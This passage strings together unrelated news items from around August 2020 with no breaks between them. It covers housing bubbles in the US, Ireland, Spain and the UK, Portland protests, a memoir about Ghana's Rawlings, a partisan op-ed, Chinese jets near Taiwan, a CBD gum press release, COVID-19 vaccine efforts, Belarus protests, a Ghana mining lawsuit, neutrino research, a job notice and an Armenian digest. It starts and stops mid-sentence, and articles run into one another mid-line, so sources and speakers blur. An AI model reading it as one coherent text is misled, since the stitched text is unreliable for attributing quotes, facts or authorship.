dismissed criticism from the likes of Kelly with the line 'I don't know how people who engage in [talking down the economy] don't commit suicide.' Houses in the US had typically been viewed as a relatively solid investment, their 'bricks and mortar' simplicity contrasting with the ephemeral and abstract nature of stocks and bonds. From 1890 to 1999... average house prices in the US had appreciated by only about 25% in real terms. Then, from January 2000 to summer 2006, the national house-price figures... respectively show an 84.6, 26.3 and 106.5% increase.... Four metropolitan areas experienced increases of more than 150% and four areas experienced falls greater than 50%. Miami, Las Vegas, Phoenix and Washington, DC stand out because of the substantial reversal in their house prices. The US housing boom was replicated elsewhere... From 1998 to 2007, real house prices in Ireland, Spain and the UK increased by 133, 103 and 134%. However, by 2012, prices had fallen by 51, 39 and 20% respectively. The housing booms in these three economies peaked one year later than in the US. In each country, the boom in house prices was accompanied by a boom in house building... When the construction boom peaked in 2006, the number of housing starts in Spain was greater than the combined total number for Germany, France and the UK. However, after the bubble burst, the number of houses under construction dropped dramatically. In Ireland, the go-go years of 2005 and 2006 saw almost as many houses completed as in the entire 1990s. From 2000 to 2008, Ireland built over 0.6 million new homes. However, as can be seen from the table, in the aftermath of the bubble, new home completions almost collapsed altogether. Between 2000 and 2008 in both Ireland and Spain, just over one new home for every new inhabitant in the country was built, a staggering record for two countries with an average household size of 2.7 and 2.6 respectively. In both countries it appears to have been a case of 'build it and they will come'. In the UK just over 1.6 million new homes were completed between 2000 and 2008. This was one new home for every 1.78 new inhabitants, a high ratio given the UK's average household size of 2.4 persons. Although aggregate UK figures suggest a relatively small housing bubble, one part of the UK -Northern Ireland - had a more significant housing bubble than Spain, Ireland or the US. House prices in NI increased by 206% between 1998 and 2007, and NI added just over 119,000 new homes between 2000 and 2008, amounting to one house for every 0.81 new inhabitants! A significant driver of the housing bubble was a dramatic expansion of credit. During the 2000s, US banks and mortgage companies relaxed their lending standards to borrowers with poor credit-rating histories - so-called subprime borrowers. As a result, there was an unprecedented growth in mortgage credit to high-risk borrowers from the poorer segments of society. Loan-to-value ratios approaching 100% became common, enabling those on low incomes to buy houses. Many were given interest-only mortgages or adjustable rate mortgages with very low 'teaser' rates for the first few years, which initially made the mortgage payments appear much more manageable than they really were.... This phenomenon was not confined to the US: Claire Dempsey, a single Northern Irish woman in her mid-20s, was lent money by her bank in 2006 to buy a 185,000 semi-detached house, with an interest-only mortgage eight times her salary. After the crash she was unable to maintain the mortgage and sold the property for 65,000. The middle classes also got caught up in the bubble. Many of them bought second houses as holiday homes in sunnier climes: about 750,000 UK citizens bought holiday homes in Spain. Some became flippers - buying and selling property quickly without necessarily improving it. Others decided to buy houses in the hope that it would provide a pension in their retirement - houses were perceived to be good investments. Indeed, the Commission of Investigation into the Banking Sector in Ireland stated in its report that the purchase of a second home by Irish people during the boom was perceived as 'a no-brainer'. Many people in all four economies entered the property market on a buy-to-let basis. In the UK, the number of buy-to-let mortgages rose from 0.12 million to 1.16 million between 2000 and 2008. The middle class effectively became the new landlord class. David Callaghan was a typical middle-class investor during the boom... just as prices were peaking, in the autumn of 2007, he spent 650,000 on a luxury house just outside Newry. He got a 485,000 mortgage to do so. He also borrowed some more money to invest in a one-bedroom buy-to-let property in Belfast. Callaghan, like many borrowers across Ireland, Spain, the UK and the US, soon found it impossible to cover his huge mortgage payments. He was forced to sell his luxury house for only 240,000 and his buy-to-let investment at 50% below the purchase price. As a result, he was delinquent on his mortgages. 'Boom and Bust: A Global History of Financial Bubbles' is published by Cambridge University Press, priced 18.99 Police abruptly declared a march to Portlands North Precinct an unlawful assembly late Monday and made several arrests as they forcefully scattered protesters onto side streets. The Portland Police Bureau cited criminal activity in declaring an unlawful assembly shortly after 11 p.m. The activity appeared to consist of demonstrators throwing items and pointing a strobe light at officers. One officer was hit in his face shield by a ball bearing. Other objects including golf balls, rocks, potatoes and eggs were also thrown at officers, according to police. No apparent property damage was observed by Oregonian/OregonLive journalists. After declaring the unlawful assembly, police cleared the area surrounding the police precinct, located near Northeast Killingsworth Street and Martin Luther King Jr. Boulevard. Nine people were arrested. The evening, the 75th consecutive night of protest in Portland, began quietly as about 150 gathered at Alberta Park in Northeast Portland shortly before the scheduled 9 p.m. march. Some people were handing out pizza, water and snacks, while others offered homemade shields. About 9:45, the demonstrators set out for the Police Bureaus North Precinct. They chanted slogans that included No cops, no prisons, total abolition! and Black lives matter! When they arrived at the precinct shortly after 10 p.m., they were met with about a dozen armored officers. Some held batons, while others carried crowd-control weapons. At 10:23 p.m., police warned protesters that acts of vandalism, lighting fires or throwing objects could be met with arrest or use of force, including tear gas. At one point, police ordered an individual in the crowd to stop shining a strobe light at officers, and another group was admonished to stop throwing eggs. Just after 11 p.m., police declared the gathering an unlawful assembly and ordered those gathered to leave to the north, saying the area was closed. Lines of police advanced on the crowd from the south on Martin Luther King Jr. Boulevard, shoving some protesters and ordering them to move. Police chased protesters more than half a mile west on North Killingsworth Street. An irritant was released into the air, videos showed. Police later said they did not deploy tear gas during the demonstration. Some protesters regrouped near the Portland Community College Cascade campus and marched back toward the precinct, but they were intercepted by police, who scattered remaining protesters into residential side streets and made several more arrests. Officers warned repeatedly via loudspeaker not to return to the North Precinct, and they circled the area to find groups headed in that direction. At 1 a.m. Tuesday, a diminished group had returned to the precinct and faced off with police officers standing in the parking lot. Most of the crowd had left by about 2 a.m. One officer was taken to a hospital with a hyperextended elbow suffered in a scuffle during the demonstration, according to police. A man who was arrested also kicked an Oregon State Police trooper and a pair of Portland police detectives while he was being processed, police said. An Oregon State Police trooper lost his body camera, as well, but someone returned it to a supervisor. Protesters gathered Monday in Northeast Portland, continuing their rallies against police violence and anti-Black racism after weekend demonstrations were declared riots by police.Beth Nakamura/The Oregonian The demonstration did not feature destruction seen during previous protests at the precinct. In May, Portlands mayor and police chief accused some in the crowd of endangering lives by barricading doors and setting fires near the building, though no one inside was injured and damage to the police precinct was minimal. Nearby businesses, many of them Black-owned, were vandalized or suffered fire damage in a June 25 incident. Police responded with tear gas and other munitions. Now, weeks later, nightly protests have returned to a similar tenor, with smaller groups of demonstrators marching nightly on locations likely to prompt a confrontation with police. Police have responded with tactics that change from night to night, but demonstrations usually end with lines of officers chasing protesters through nearby streets and firing crowd-control munitions, often in response to thrown objects, small fires or acts of vandalism. Mondays protests came hours after President Donald Trump once again aired his distaste for Portlands protests, calling the city out of control and suggesting officials should bring in the National Guard. Portland, which is out of control, should finally, after almost 3 months, bring in the National Guard. The Mayor and Governor are putting peoples lives at risk. They will be held responsible. The Guard is ready to act immediately. The Courthouse is secured by Homeland! Donald J. Trump (@realDonaldTrump) August 10, 2020 They also came on the heels of a pair of weekend demonstrations that drew crowds to a police union building in North Portland. Both protests were declared riots, and 25 people were arrested. Among them was Black activist Demetria Hester, who leads Mothers United for Black Lives Matter and is a regular presence at Portland protests against anti-Black racism and police violence. She is also the survivor of a hate crime committed by MAX train murderer Jeremy Christian in 2017. She testified against him in his trial. Hester was accused of disorderly conduct and interfering with a peace officer, both misdemeanors. She was released from custody Monday afternoon, and spokesman Brent Weisberg said the Multnomah County District Attorneys Office had declined prosecution and that the court will dismiss the charges. The prosecution decline decision was in the interest of justice upon reviewing the police reports in this matter, Weisberg said. Hester was present at Monday nights protests just hours after her release. -- Beth Nakamura, Andrew Theen and Jim Ryan Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Professor Kwamena Ahwoi's book, Working with Rawlings, appears to describe ex-President Flt. Lt. Jerry John Rawlings as somebody who did not know some of the things he was doing as a leader of Ghana. He said in the controversial book that the National Democratic Congress (NDC) founder did not appear very deep philosophically and ideologically. In my encounters with him (Rawlings) at PNDC meetings, I could tell that he did not understand many of the very technical issues that used to be debated. Often times, he would feign disinterest and be looking through the window or playing with his toy planes, Prof. Ahwoi fired on page 232 of the book. He also said that but once he got a sense of the direction of the meeting, he would jump on board and ensure the implementation of the decision or the policy. Power Obsession He described Mr. Rawlings as somebody who had an obsessive desire for power and went to talk about how the former President did not even want to let go of the Provisional Nations Defence Council (PNDC), a military junta which metamorphosed into NDC during the transition into constitutional rule culminating in the formation of the Fourth Republic. It was not easy convincing Jerry Rawlings to return the country to civilian constitutional rule. He seemed bent on continuing the revolution, while some of us, his advisers, were convinced that in that period of the late 1980s and early 1990s, both the internal and the international situations argued for a return to constitutional rule. Internally, the agitation for constitutional rule had reached a crescendo and a coalition of the middle classes and professional groups was agitating for a return to constitutional rule. The pressure on the PNDC was huge and intense, the book stated. Knowing Rawlings He said in the book that when you know Mr. Rawlings from afar, He has charisma, and therefore easily endears himself to people who met him for the first time, adding, On first meeting him, his personality is so overwhelming and all-pervading that it is easy for one to be in awe of him. He speaks well; he exudes confidence and is very conversational, even though he sometimes tends to dominate conversations. He, however, said, Philosophically and ideologically, he does not appear very deep, adding, He is no Kwame Nkrumah, but in his own way, he has a dominating personality, mesmerising and nearly hypnotising his first time listeners and audiences. That is the image of Rawlings as established at the first encounter with him. Vindictive Leader Although Prof. Ahwoi said Mr. Rawlings is a born leader, he comes back to say that the NDC founder was vindictive. When you get to know him better, it is a different matter. He can be domineering, vindictive and fearsome, he said, adding, The nearest analogy will be the Akan proverb about the bird santrofi or night jar, in English, belonging to the family, caprimulgidae, which proverb states that 'santrofi anoma, wokye no a, w'akye mmusuo; wo gyae no a, wagyae adee, loosely translated as 'the night jar bird, if you catch it, you have caught a curse; if you let it go, you have let go of something precious'. Divisive Character Prof. Ahwoi also said that Rawlings has a very attractive personality when you first meet him. He shows results because he is a very hard worker and therefore it is good not to let him go when you have him otherwise you would have lost something precious. He however said, On the other hand, he can be a very divisive character who is incapable of keeping and sustaining friends. Once he is your friend, he would like his enemies to be your enemies and therefore if you keep him, you would be keeping a curse, as his enemies will become your enemies and will curse you forever. Decisiveness The other positive attribute of Rawlings is that, as a leader, he is decisive. He is the type of leader who would say 'I want a one-handed economist. I do not want the economist who will confuse me with 'on the one hand and on the other hand'. But even if you present yourself as a two-handed economist and he chooses one of those 'hands', you can be sure that he will go with that hand all the way. He is also the type of leader who would not like advisers who would give advice on the basis of all things being equal, knowing very well that in this world all things are never equal, he stated. He said Mr. Rawlings' major concern was always how we got 'the people' to 'buy into' the decision or the policy or to accept the decision or the policy or how to make implementation of the decision or policy easy, adding, In order to realise this objective, timing and the prevailing environment were always very important to him. He would thus always insist that we left the timing of the implementation of the decision or the policy to him because for him, it was a 'psychological operation' at which he was master. We therefore nicknamed the phenomenon 'psy-ops'. ---Daily Guide Once again, we hear the cry of those who want to take down statues and rename schools all in the name of pointing out racism and inequality. From George Washington to Robert E. Lee to Christopher Columbus, lets eradicate their names, they are racists. If we are doing this in the name of racism and inequality, why not disband the Democratic Party? Prior to the Civil War when slavery was at its height, what political party controlled the South? Ill answer that, the Democratic Party. When the states of the South left the Union and started the Civil War, who led the charge it was Southern Democrats. When over 600,000 Americans lost their lives in the Civil War and all the slaves were emancipated, what political party stood in the way of true equality? Right again, it was the Democrats. Presidential Office condemns Beijing for Chinese jet intrusion ROC Central News Agency 08/10/2020 10:08 PM Taipei, Aug. 10 (CNA) The Presidential Office on Monday condemned Beijing for its latest provocative military act targeting Taipei after two Chinese warplanes briefly crossed the Taiwan Strait median line earlier in the day. According to an Air Force statement, the two Chinese fighter jets, a Shenyang J-11 and a Chengdu J-10, briefly crossed the line to Taiwan's side of the median line at around 9 a.m. They then retreated to the western side of the line after Taiwanese patrol planes issued radio warnings and with air defense missiles activated on the ground. The incident came just one day after United States Secretary of Health and Human Services (HHS) Alex Azar and his delegation arrived for a visit Sunday. He is the first U.S. Cabinet official to visit Taiwan since 2014. In response, the Presidential Office called on the Chinese side not to engage in military coercion against Taiwan, saying that such unilateral action destabilizes the region and is not welcomed by people of both sides of the strait and the international community. Su Tzu-yun (), a research fellow at the Institute for National Defense and Security Research, told CNA that the Air Force's response to the two Chinese jets were done appropriately and by the book. (By Wen Kuei-hsiang, Wang Cheng-chung, Yu Hsiang and Joseph Yeh) Enditem/ls NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Company Continues to Generate Strong Results From Its Highest Margin E-Commerce Business Segment NEW YORK, NY, Aug. 11, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Tauriga Sciences, Inc. (OTCQB: TAUG) (Tauriga or the Company), a revenue generating, diversified life sciences company, with a proprietary line of functional supplement chewing gums (Flavors: Pomegranate, Blood Orange, Peach-Lemon, Pear Bellini, Mint, Black Currant) as well as two ongoing Biotechnology initiatives, today announced that it has received approval from its credit card processor (T1 Payments) to increase the individual E-Commerce transaction processing limit to $3,000 USD. Individual E-Commerce orders that are greater than $3,000 USD will continue to be paid, to the Company, via wire transfer (there have been several, thus far, this Quarter). ABOUT TAURIGA SCIENCES INC. Tauriga Sciences, Inc. (TAUG) is a revenue generating, diversified life sciences company, engaged in several major business activities and initiatives. The company manufactures and distributes several proprietary retail products and product lines, mainly focused on the Cannabidiol (CBD) and Cannabigerol (CBG) Edibles market segment. The main product line, branded as Tauri-Gum, consists of a proprietary supplement chewing gum that is both Kosher certified and Vegan formulated (CBD Infused Tauri-Gum Flavors: Mint, Blood Orange, Pomegranate) & (CBG Infused Tauri-Gum Flavor: Peach-Lemon). The Companys commercialization strategy consists of a broad array of retail customers, distributors, and a fast-growing E-Commerce business segment (E-Commerce website: www.taurigum.com ). Please visit our corporate website, for additional information, as well as inquiries, at http://www.tauriga.com Complementary to the Companys retail business, are its two ongoing biotechnology initiatives. The first one relates to the development of a Pharmaceutical grade version of Tauri-Gum, for nausea regulation (specifically designed to help patients that are subjected to ongoing chemotherapy treatment). On March 18, 2020, the Company announced that it filed a provisional U.S. patent application covering its pharmaceutical grade version of Tauri-Gum. The Patent, filed with the U.S.P.T.O. is Titled MEDICATED CBD COMPOSITIONS, METHODS OF MANUFACTURING, AND METHODS OF TREATMENT. The second one relates to a collaboration agreement with Aegea Biotechnologies Inc. for the co-development of a rapid, multiplexed, Novel Coronavirus (COVID-19) test with superior sensitivity and selectivity. Story continues The Company is headquartered in New York City and operates a regional office in Barcelona, Spain. In addition, the Company operates a full time E-Commerce fulfillment center located in LaGrangeville, New York. DISCLAIMER -- Forward-Looking Statements This press release contains certain forward-looking statements as defined by the Private Securities Litigation Reform Act of 1995 which represent managements beliefs and assumptions concerning future events. These forward-looking statements are often indicated by using words such as may, will, expects, anticipates, believes, hopes, believes, or plans, and may include statements regarding corporate objectives as well as the attainment of certain corporate goals and milestones. Forward-looking statements are based on present circumstances and on managements present beliefs with respect to events that have not occurred, that may not occur, or that may occur with different consequences or timing than those now assumed or anticipated. Actual results may differ materially from those expressed in forward looking statements due to known and unknown risks and uncertainties, such as are not guarantees of general economic and business conditions, the ability to successfully develop and market products, consumer and business consumption habits, the ability to consummate successful acquisition and licensing transactions, fluctuations in exchange rates, and other factors over which Tauriga has little or no control. Many of these risks and uncertainties are discussed in greater detail in the Risk Factors section of Taurigas Form 10-K and other filings made from time to time with the Securities and Exchange Commission. Such forward-looking statements are made only as of the date of this release, and Tauriga assumes no obligation to update forward-looking statements to reflect subsequent events or circumstances. You should not place undue reliance on these forward-looking statements. Contact: CONTACT INFORMATION Tauriga Sciences, Inc. 555 Madison Avenue, 5th Floor New York, NY 10022 Chief Executive Officer Mr. Seth M. Shaw Email: sshaw@tauriga.com cell # (917) 796 9926 Instagram: @taurigum Twitter: @SethMShaw Corp. Website: www.tauriga.com E-Commerce Website: www.taurigum.com Pharmaceutical companies in India and around the world are putting in great efforts to treat the coronavirus disease which has infected more than 20 million people so far. Many scientific studies are also being done as part of efforts to find treatments and vaccines for Covid-19, the illness caused by the Sars-CoV-2 virus. A total of 26 vaccine candidates are being developed, according to the World Health Organisation, as a process normally taking up to 15 years has been squeezed into a matter of months. Heres everything you need to know about the global efforts being made to find a vaccine fast for Covid-19: In India, an expert committee on vaccine administration will meet on Wednesday to consider logistics and ethical aspects of procurement and administration of vaccines against Covid-19, the Uniomn health ministry said today. The committee will be chaired by NITI Aayogs Dr VK Paul. The coronavirus disease has infected more than 2.2 million people and killed over 44,000 in India. According to the Indian Council of Medical Research (ICMR), three Indian vaccines are in different phases of clinical testing at present. Two of these vaccines - Bharat Biotech vaccine and DNA vaccine of Zydus Cadila have completed phase 1 and will begin phase 2 clinical trials, said the ICMR. Oxford vaccine, being manufactured by Serum Institute of India (SII) got approval for phase 2 and 3 clinical trials, which are starting within a week at 17 sites, the institute said. Karnatakas deputy chief minister Dr CN Ashwath Narayan said on Tuesday that the state government is very keen to establish an Immunology and Vaccine Research Centre in Bengaluru in collaboration with the Emory Vaccine Centre of Atlanta University. Serum Institute of India (SII) had said last week that it has entered into a new partnership with international vaccine alliance Gavi and Bill & Melinda Gates Foundation to accelerate manufacturing and delivery of up to 100 million doses of Covid-19 vaccines for India as well as other low and middle-income countries. SII CEO Adar Poonawalla told a TV channel that the company will start manufacturing the vaccines by end of August. Globally, Russia is racing ahead to allow civilian use of a potential coronavirus vaccine before clinical trials are complete. The government plans to give a vaccine developed by Moscows Gamaleya Institute conditional registration as early as this week, which would open the door to civilian use. This has led an industry body to call this rush dangerous for the common people. Yet less than 100 people had officially received the inoculation against the epidemic by early August and its widespread use could be dangerous, the Association of Clinical Trials Organizations said in a letter sent to Health Minister Mikhail Murashko on Monday. Meanwhile, Moderna has become the first company in the world to begin phase 3 testing of its coronavirus vaccine. The tests are being carried out at its facilities in the United States. The tests started on July 27 and the company plans to enroll 30,000 study subjects. Pfizer too started its combined phase 2 and 3 study on July 27 and hopes to enroll 30,000 volunteers by September. The companys CEO Albert Bourla said they have vaccinated more than 2,000 people by first week of August. The top opposition candidate in Belaruss presidential election has left the country for Lithuania and called on her supporters to end demonstrations. Sviatlana Tsikhanouskaya initially refused to concede defeat in the election amid a massive police crackdown on protesters. Looking dishevelled and distressed, Ms Tsikhanouskaya, a former teacher and political novice, apologised to her supporters in a video statement and said it was her own choice to leave the country. Expand Close Ms Tsikhanouskaya initially dismissed the results (AP/Sergei Grits) AP/PA Images / Facebook Twitter Email Whatsapp Ms Tsikhanouskaya initially dismissed the results (AP/Sergei Grits) She said: It was a very hard decision to make. I know that many of you will understand me, many others will condemn me and some will even hate me. But God forbid you ever face the choice that I faced. In a later video statement, she urged her supporters to respect the law and avoid clashes with police. Her campaign aides said she made the unexpected move under duress. Ms Tsikhanouskayas husband has been at a Belarusian jail since his arrest in May. Maria Kolesnikova, a top figure in Ms Tsikhanouskayas campaign, said: Its very difficult to resist pressure when your family and all your inner circle have been taken hostages. Ms Tsikhanouskaya previously dismissed the official results of Sundays election showing authoritarian President Alexander Lukashenko winning a sixth term by a landslide. Thousands of opposition supporters who also protested against the results met with a tough police crackdown in Minsk and several other Belarusian cities for two consecutive nights. Expand Close Belarusian President Alexander Lukashenko (AP/Sergei Grits) AP/PA Images / Facebook Twitter Email Whatsapp Belarusian President Alexander Lukashenko (AP/Sergei Grits) On Monday, a protester died during the clashes in Minsk and scores were injured as police used tear gas, flash-bang grenades and rubber bullets to disperse the demonstrators. The Interior Ministry said the victim intended to throw an explosive device, but it blew up in his hand and killed him. The ministry said more than 2,000 people were detained across the country for taking part in unsanctioned protests on Monday evening and overnight. It added that 21 police officers were injured in clashes with protesters, and five of them were admitted to hospital. The previous day, the Interior Ministry reported more than 3,000 detentions and said that 89 people were injured, including 39 law enforcement officers. Ms Tsikhanouskaya, a 37-year-old former English teacher without any prior political experience, entered the race after her husband, an opposition blogger who had hoped to run for president, was arrested in May. She has managed to unite fractured opposition groups and draw tens of thousands to her campaign rallies the largest opposition demonstrations in Belarus since the 1991 collapse of the Soviet Union. In the video statement posted on her Facebook page, Ms Tsikhanouskaya thanked her supporters for backing her candidacy, but added that the people of Belarus have made their choice. Belarusians, Im urging you to show common sense and respect for the law, she said, reading a text without raising her eyes from the paper. I dont want blood and violence. Im asking you not to confront the police and not take to squares to put your lives in danger. Take care of yourselves and your relatives. Expand Close Police use truncheons on protesters during a mass protest in Minsk (Sergei Grits/AP/PA) AP / Facebook Twitter Email Whatsapp Police use truncheons on protesters during a mass protest in Minsk (Sergei Grits/AP/PA) Hours before that, Ms Tsikhanouskaya disputed the vote results and submitted a formal request for a recount to the Central Election Commission. She stayed in the commission headquarters for hours and faced senior law enforcement officers, according to her campaign aides. One aide, Olga Kovalkova, said the U-turn came following pressure from the authorities who made Ms Tsikhanouskaya read a prepared statement and then drove her out of the country. Ms Kovalkova said: We dont know what kind of pressure she was subjected to and how they tried to break her. She couldnt have said it on her own. She was reading a prepared text. She said Ms Tsikhanouskaya left the country with her campaign chief, Maria Moroz, who had been detained over the weekend. Several other campaign aides have remained in custody. Expand Close People help a wounded demonstrator during a mass protest following presidential election in Minsk (AP) AP/PA Images / Facebook Twitter Email Whatsapp People help a wounded demonstrator during a mass protest following presidential election in Minsk (AP) Mr Lukashenko, who has ruled the ex-Soviet nation of 9.5 million with an iron fist since 1994, derided the opposition as sheep manipulated by foreign masters and vowed to continue the tough crackdown on protests despite rebukes from the West. Election officials said Mr Lukashenko won a sixth term in office with 80% of the vote, while Ms Tsikhanouskaya got 10%. When asked on Monday if she was planning to go abroad to avoid being arrested, Ms Tsikhanouskaya said she had no such plan and saw no reason why she would be arrested. But after submitting her formal demand for a recount to Belarus Central Election Commission, she told her allies: I have made a decision, I must be with my children. Speaking in the video statement from Lithuania, she emphasised that children are the most important thing in our lives and conceded her weakness. I thought that the campaign had tempered me and make me so strong that I could resist anything, she said. But it appears that I have remained the same weak woman that I was before. A High Court in the Upper East regional capital, Bolgatanga, has awarded costs of Gh4,000 against the Shaanxi Mining Ghana Mineral Processing Company Ltd and the Shaanxi Mining Ghana Company Ltd for failure to file Statement of Defence on time to Statement of Claim lodged against them by the Chief of Namoalug and four elders. The penalised Defendants were expected to file their Statements of Defence within 14 days in an ongoing case of land ownership dispute. But their Statements of Defence were reportedly filed out of the time stipulated by the rules of the court. Therefore, the High Court Two, presided over by His Lordship Justice Asmah Akwasi Asiedu, accordingly awarded the costs against the companies. The court also has granted permission to the Applicants lawyers Dr Peter Atudiwe Atupare, Douglas Seidu and Limann A. Mohammed to serve a notice of application for committal for contempt on three Chinese-born directors of the mining companies namely Wang Xingguo, Liu Xiaoquing and Fen Tielin out of the jurisdiction. The directors have been cited for contempt because the companies purportedly continued to work even after the companies had been duly served with a notice of application for interlocutory injunction. The order is to be served on the aforesaid respondents within 21 days from today. The respondents will have to respond within 14 days upon receipt of this order, said Justice Asiedu in a ruling. He added: I shall adjourn this matter to 3rd September, 2020, for same to be handled by the Vacation Judge. Hearing notices are to be served on the other Respondents as regards the adjourned date. Case Background The Chief of Namoalug, Naab Kolsong Na-Laam Nyuurib, and four elders of Namoalug Dennilah Bulsong, Yambezinah Yidan, Yinbangit Teng and Bullah Kabasam went to court with a claim that some vast tracts of land in the Talensi District, where the Chinese companies currently occupy and are said to be 71.6 acres and 17.264 acres large, belong to Namoalug. The five complainants also claim that the Chinese-owned companies acquired the said land illegally with the aid of some 10 native individuals of Gbane. The individuals, who are also involved in the same court case for their alleged roles in the said deal, include: Pardnyoo Elijah Pubortaaba, Milim John Nabwomya, Biihinab Boarzee Puchihiyin, Namtibil Batami, Bawa John, Kudzie Kpana, Kutuombang Siegbil, Yinbil Zong, Soul Nauh and Bayagmah Wanzaahg. A strong petition penned by the University-of-Ghana-accountant-turned-Namoalug-Chief about the fraudulent land-lease transaction had gone to the government before the chief and the elders, dissatisfied with how the Talensi District Assembly treated the case, turned attention to the law court. It is also reported that there were attempts to resolve the dispute using traditional methods but the efforts failed before the disappointed traditional authorities at Namoalug resorted to writing a letter to the government to settle the matter. It is also imperative to note that the elders of Namoalug employed several traditional conflict resolution mechanisms to let Chief Pubouotaaba Naabil and these alleged leaders refrain from leasing and renting Namoalug lands to the Chinese company. However, it is sad to note that they failed to adhere to our plea as neighbours in resolving this fraudulent lease of our lands to the Chinese company, the letter, dated 9th April, 2020, stated. Starrfm.com.gh One part of Markss job is to oversee an FDA expanded access program for the use of convalescent plasma for patients with covid-19. Doctors theorize antibody-rich plasma, derived from the blood of people who have recovered from the disease, may benefit those who are battling it. Earlier this year, the FDA approved the program, which has been organized by the Mayo Clinic; more than 50,000 patients have received plasma. But scientists say it remains unclear whether the treatment works and that the program has inadvertently made it harder to complete the rigorous clinical trials that would determine efficacy. University of Cincinnati physicists, as part of an international research team, are raising doubts about the existence of an exotic subatomic particle that failed to show up in twin experiments. UC College of Arts and Sciences associate professor Alexandre Sousa and assistant professor Adam Aurisano took part in an experiment at the Fermi National Accelerator Laboratory in search of sterile neutrinos, a suspected fourth "flavor" of neutrino that would join the ranks of muon, tau and electron neutrinos as elementary particles that make up the known universe. Finding a fourth type of neutrino would be huge, Sousa said. It would redefine our understanding of elementary particles and their interactions in what's known as the Standard Model. Researchers in two experiments called Daya Bay and MINOS+ collaborated on complementary projects in an intense effort to find sterile neutrinos using some of the world's most advanced and precise tools. "We apparently don't see any evidence for them," Aurisano said. The study was published in the journal Physical Review Letters and was featured in Physics Magazine, published by the American Physical Society. advertisement "It's an important result for particle physics," Sousa said. "It provides an almost definitive answer to a question that has been lingering for over 20 years." The research builds on previous studies that offered tantalizing possibilities for finding sterile neutrinos. But the new results suggest sterile neutrinos might not have been responsible for the anomalies researchers previously observed, Aurisano said. "Our results are incompatible with the sterile neutrino interpretation of the anomalies," he said. "So these experiments remove a possibility -- the leading possibility -- that oscillations into sterile neutrinos solely explain these anomalies." Neutrinos are tiny, so tiny they can't be broken down into something smaller. They are so small that they pass through virtually everything -- mountains, lead vaults, you -- by the trillions every second at virtually the speed of light. They are generated by the nuclear fusion reactions powering the sun, radioactive decays in nuclear reactors or in the Earth's crust, and in particle accelerator labs, among other sources. And as they travel, they often transition from one type (tau, electron, muon) to another or back. advertisement But theorists have suggested there might be a fourth neutrino that interacts only with gravity, making them far harder to detect than the other three that also interact with matter through the weak nuclear force. The experiment Daya Bay is composed of eight detectors arrayed around six nuclear reactors outside Hong Kong. MINOS+ uses a particle accelerator in Illinois to shoot a beam of neutrinos 456 miles through the curvature of the Earth to detectors waiting in Minnesota. "We would all have been absolutely thrilled to find evidence for sterile neutrinos, but the data we have collected so far do not support any kind of sterile neutrino oscillation," said Pedro Ochoa-Ricoux, associate professor at the University of California, Irvine. Researchers expected to see muon neutrinos seemingly vanish into thin air when they transitioned into sterile neutrinos. But that's not what happened. "We expected to see muon neutrinos oscillating to sterile neutrinos and disappear," Aurisano said. Despite the findings, Aurisano said he thinks sterile neutrinos do exist, at least in some form. "I think sterile neutrinos are more likely than not to exist at high energies. At the very beginning of the universe, you'd expect there would be sterile neutrinos," he said. "Without them, it's hard to explain aspects of neutrino mass." But Aurisano is skeptical about finding light sterile neutrinos that many theorists expected them to find in the experiments. "Our experiment disfavors light or lower-mass sterile neutrinos," he said. Sousa said some of his research was truncated somewhat by the global COVID-19 pandemic when Fermilab shut down accelerator operations months earlier than expected. But researchers continued to use massive supercomputers to examine data from the experiments, even while working from home during the quarantine. "It's one of the blessings of high energy physics," Aurisano said. "Fermilab has all the data online and the computing infrastructure is spread out around the world. So as long as you have the internet you can access all the data and all the computational facilities to do the analyses." Still, Aurisano said it takes some adjusting to work from home. "It was easier when I had dedicated hours at the office. It's a challenge sometimes to work from home," he said. BPSC Recruitment 2020 | The minimum age limit is 21 years as on 1 August 2020. There is no upper age limit for the post BPSC Recruitment 2020 | The Bihar Public Service Commission (BPSC) has announced that online applications are open for the recruitment of 119 posts of lecturer in electrical engineering on its website - bpsc.bih.nic.in. The online application process began on 7 August and candidates can apply by 4 September. The last date to pay the application fee is 28 August. According to a report by Hindustan Times, applicants should hold a B.E/ B.Tech/ B.s/ B.sc (Engg.) in electrical engineering/ technology with first class or equivalent. The minimum age limit is 21 years as on 1 August 2020. There is no upper age limit for the post. The selection of the candidates will be done on the basis of weightage in academic performance and research work, evaluation of work Knowledge and Teaching skill through written Test (objective), interview and for lecturer engaged on contract basis. The objective test consisting of 80 multiple choice questions (MCQs) will test the applicants' knowledge in the Engineering/Technology stream. The syllabus of Graduate Aptitude Test Engineering (GATE) will be applicable. The total duration of the exam is two hours. Candidates who will be selected for the posts will be getting a starting salary of Rs 56,100. Candidates belonging to general category will have to pay an application fee of Rs 750. ST/ST/PwD and female applicants will have to pay Rs 200. To check other details, click here. How to apply: Step 1: Visit the website - onlinebpsc.bihar.gov.in Step 2: Scroll down and under the list of advertisement and post, click on apply now next to Lecturer, Electrical Engineering Step 3: You will be directed to a new page where you will have to enter all the details and submit the registration form. Here's the direct link to the registration form - https://onlinebpsc.bihar.gov.in/admissionProcess/ApplicantRegistrationForm/ApplicantRegistrationForm?recordid=78 Armenian News - NEWS.am presents a daily digest of Armenia-related top news as of 11.08.2020: As of 11am Tuesday, 160 new cases COVID-19 were confirmed in Armenia, and the total number of infected people has reached 40,593. Seven people died of the coronavirus in one day, bringing the total number to 803. The number of people recovered in one day is 541, the total number of recovered people is 33,157. Russian President Vladimir Putin, opening a meeting with government members, announced the registration of the world's first COVID-19 vaccine, TASS reported. As far as I know, this morning, for the first time in the world, a vaccine against a new coronavirus infection has been registered, the president noted. Russian health minister, Mikhail Murashko, said that clinical trials of a vaccine developed in Russia have ended. A special Cabinet meeting of the government of Armenia will be held Wednesday. There is but one matter on the agenda: to yet again extend the state of emergency declared in the country on March 16and due to the COVID-19 pandemic, and to make amendments and additions to the government's respective decision that was made on the same day. On August 9, Yerevan police apprehended ten people from Hrazdan Gorge, and on suspicion of hooliganism, shamshyan.com reported. One of them was with his car, and it was found out at the police precinct that on the same day, this person had fired shots from his pistol, violating public order and showing disrespect to the public. The police found the gun and two pocket knives at the scene, and it has already been found out who they belong to. Police are preparing a report on charges of hooliganism. The Ministry of Internal Affairs of Belarus says one person was killed during a protest rally in capital city Minsk. During the confrontation with the special forces that arrived to unblock the square, one of the demonstrators tried to throw an unidentified explosive device at the police. It exploded in his hand, and the man 